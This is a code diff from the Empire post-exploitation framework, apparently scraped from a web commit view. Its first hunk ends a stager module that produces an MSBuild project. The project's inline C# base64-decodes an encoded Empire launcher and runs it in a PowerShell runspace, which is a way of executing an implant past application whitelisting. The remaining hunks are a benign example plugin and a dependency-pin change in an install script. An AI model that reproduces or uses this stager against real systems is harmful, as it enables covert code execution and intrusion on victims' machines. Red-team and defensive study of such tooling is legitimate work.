proxyCreds = self.options['ProxyCreds']['Value']
|
||||||
|
stagerRetries = self.options['StagerRetries']['Value']
|
||||||
|
|
||||||
|
encode = True
|
||||||
|
|
||||||
|
obfuscateScript = False
|
||||||
|
if obfuscate.lower() == "true":
|
||||||
|
obfuscateScript = True
|
||||||
|
|
||||||
|
# generate the launcher code
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(
|
||||||
|
listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
||||||
|
|
||||||
|
launcher_array=launcher.split()
|
||||||
|
if len(launcher_array) > 1:
|
||||||
|
print helpers.color("[*] Removing Launcher String")
|
||||||
|
launcher = launcher_array[-1]
|
||||||
|
|
||||||
|
if launcher == "":
|
||||||
|
print helpers.color("[!] Error in launcher command generation.")
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
code ="<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">"
|
||||||
|
code += "<Target Name=\"EmpireStager\">"
|
||||||
|
code += "<ClassExample />"
|
||||||
|
code += "</Target>"
|
||||||
|
code += "<UsingTask "
|
||||||
|
code += "TaskName=\"ClassExample\" "
|
||||||
|
code += "TaskFactory=\"CodeTaskFactory\" "
|
||||||
|
code += "AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\" >"
|
||||||
|
code += "<Task>"
|
||||||
|
code += "<Reference Include=\"System.Management.Automation\" />"
|
||||||
|
code += "<Using Namespace=\"System\" />"
|
||||||
|
code += "<Using Namespace=\"System.IO\" />"
|
||||||
|
code += "<Using Namespace=\"System.Reflection\" />"
|
||||||
|
code += "<Using Namespace=\"System.Collections.Generic\" />"
|
||||||
|
code += "<Code Type=\"Class\" Language=\"cs\">"
|
||||||
|
code += "<![CDATA[ "
|
||||||
|
code += "using System;"
|
||||||
|
code += "using System.IO;"
|
||||||
|
code += "using System.Diagnostics;"
|
||||||
|
code += "using System.Reflection;"
|
||||||
|
code += "using System.Runtime.InteropServices;"
|
||||||
|
code += "using System.Collections.ObjectModel;"
|
||||||
|
code += "using System.Management.Automation;"
|
||||||
|
code += "using System.Management.Automation.Runspaces;"
|
||||||
|
code += "using System.Text;"
|
||||||
|
code += "using Microsoft.Build.Framework;"
|
||||||
|
code += "using Microsoft.Build.Utilities;"
|
||||||
|
code += "public class ClassExample : Task, ITask"
|
||||||
|
code += "{"
|
||||||
|
code += "public override bool Execute()"
|
||||||
|
code += "{"
|
||||||
|
code += "byte[] data = Convert.FromBase64String(\""+launcher+"\");string script = Encoding.Unicode.GetString(data);"
|
||||||
|
code += "PSExecute(script);"
|
||||||
|
code += "return true;"
|
||||||
|
code += "}"
|
||||||
|
code += "public static void PSExecute(string cmd)"
|
||||||
|
code += "{"
|
||||||
|
code += "Runspace runspace = RunspaceFactory.CreateRunspace();"
|
||||||
|
code += "runspace.Open();"
|
||||||
|
code += "Pipeline pipeline = runspace.CreatePipeline();"
|
||||||
|
code += "pipeline.Commands.AddScript(cmd);"
|
||||||
|
code += "pipeline.InvokeAsync();"
|
||||||
|
code += "}"
|
||||||
|
code += "}"
|
||||||
|
code += " ]]>"
|
||||||
|
code += "</Code>"
|
||||||
|
code += "</Task>"
|
||||||
|
code += "</UsingTask>"
|
||||||
|
code += "</Project>"
|
||||||
|
return code
|
|
@ -0,0 +1,35 @@
|
||||||
|
""" An example of a plugin. """
|
||||||
|
|
||||||
|
from lib.common.plugins import Plugin
|
||||||
|
import lib.common.helpers as helpers
|
||||||
|
|
||||||
|
# anything you simply write out (like a script) will run immediately when the
|
||||||
|
# module is imported (before the class is instantiated)
|
||||||
|
print("Hello from your new plugin!")
|
||||||
|
|
||||||
|
# this class MUST be named Plugin
|
||||||
|
class Plugin(Plugin):
|
||||||
|
description = "An example plugin."
|
||||||
|
|
||||||
|
def onLoad(self):
|
||||||
|
""" any custom loading behavior - called by init, so any
|
||||||
|
behavior you'd normally put in __init__ goes here """
|
||||||
|
print("Custom loading behavior happens now.")
|
||||||
|
|
||||||
|
# you can store data here that will persist until the plugin
|
||||||
|
# is unloaded (i.e. Empire closes)
|
||||||
|
self.calledTimes = 0
|
||||||
|
|
||||||
|
def register(self, mainMenu):
|
||||||
|
""" any modifications to the mainMenu go here - e.g.
|
||||||
|
registering functions to be run by user commands """
|
||||||
|
mainMenu.__class__.do_test = self.do_test
|
||||||
|
|
||||||
|
def do_test(self, args):
|
||||||
|
"An example of a plugin function."
|
||||||
|
print("This is executed from a plugin!")
|
||||||
|
print(helpers.color("[*] It can even import Empire functionality!"))
|
||||||
|
|
||||||
|
# you can also store data in the plugin (see onLoad)
|
||||||
|
self.calledTimes += 1
|
||||||
|
print("This function has been called {} times.".format(self.calledTimes))
|
|
@ -27,7 +27,7 @@ if lsb_release -d | grep -q "Fedora"; then
|
||||||
pip install flask
|
pip install flask
|
||||||
pip install macholib
|
pip install macholib
|
||||||
pip install dropbox
|
pip install dropbox
|
||||||
pip install 'pyopenssl==17.2.0'
|
pip install pyopenssl
|
||||||
pip install pyinstaller
|
pip install pyinstaller
|
||||||
pip install zlib_wrapper
|
pip install zlib_wrapper
|
||||||
pip install netifaces
|
pip install netifaces
|
||||||
|
@ -44,7 +44,7 @@ elif lsb_release -d | grep -q "Kali"; then
|
||||||
pip install flask
|
pip install flask
|
||||||
pip install macholib
|
pip install macholib
|
||||||
pip install dropbox
|
pip install dropbox
|
||||||
pip install 'pyopenssl==17.2.0'
|
pip install pyopenssl
|
||||||
pip install pyinstaller
|
pip install pyinstaller
|
||||||
pip install zlib_wrapper
|
pip install zlib_wrapper
|
||||||
pip install netifaces
|
pip install netifaces
|
||||||
|
@ -85,7 +85,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
|
||||||
pip install pyOpenSSL
|
pip install pyOpenSSL
|
||||||
pip install macholib
|
pip install macholib
|
||||||
pip install dropbox
|
pip install dropbox
|
||||||
pip install 'pyopenssl==17.2.0'
|
pip install pyopenssl
|
||||||
pip install pyinstaller
|
pip install pyinstaller
|
||||||
pip install zlib_wrapper
|
pip install zlib_wrapper
|
||||||
pip install netifaces
|
pip install netifaces
|
||||||
|
@ -115,7 +115,7 @@ else
|
||||||
pip install dropbox
|
pip install dropbox
|
||||||
pip install cryptography
|
pip install cryptography
|
||||||
pip install pyOpenSSL
|
pip install pyOpenSSL
|
||||||
pip install 'pyopenssl==17.2.0'
|
pip install pyopenssl
|
||||||
pip install zlib_wrapper
|
pip install zlib_wrapper
|
||||||
pip install netifaces
|
pip install netifaces
|
||||||
pip install M2Crypto
|
pip install M2Crypto
|
||||||
|
|
Loading…
Reference in New Issue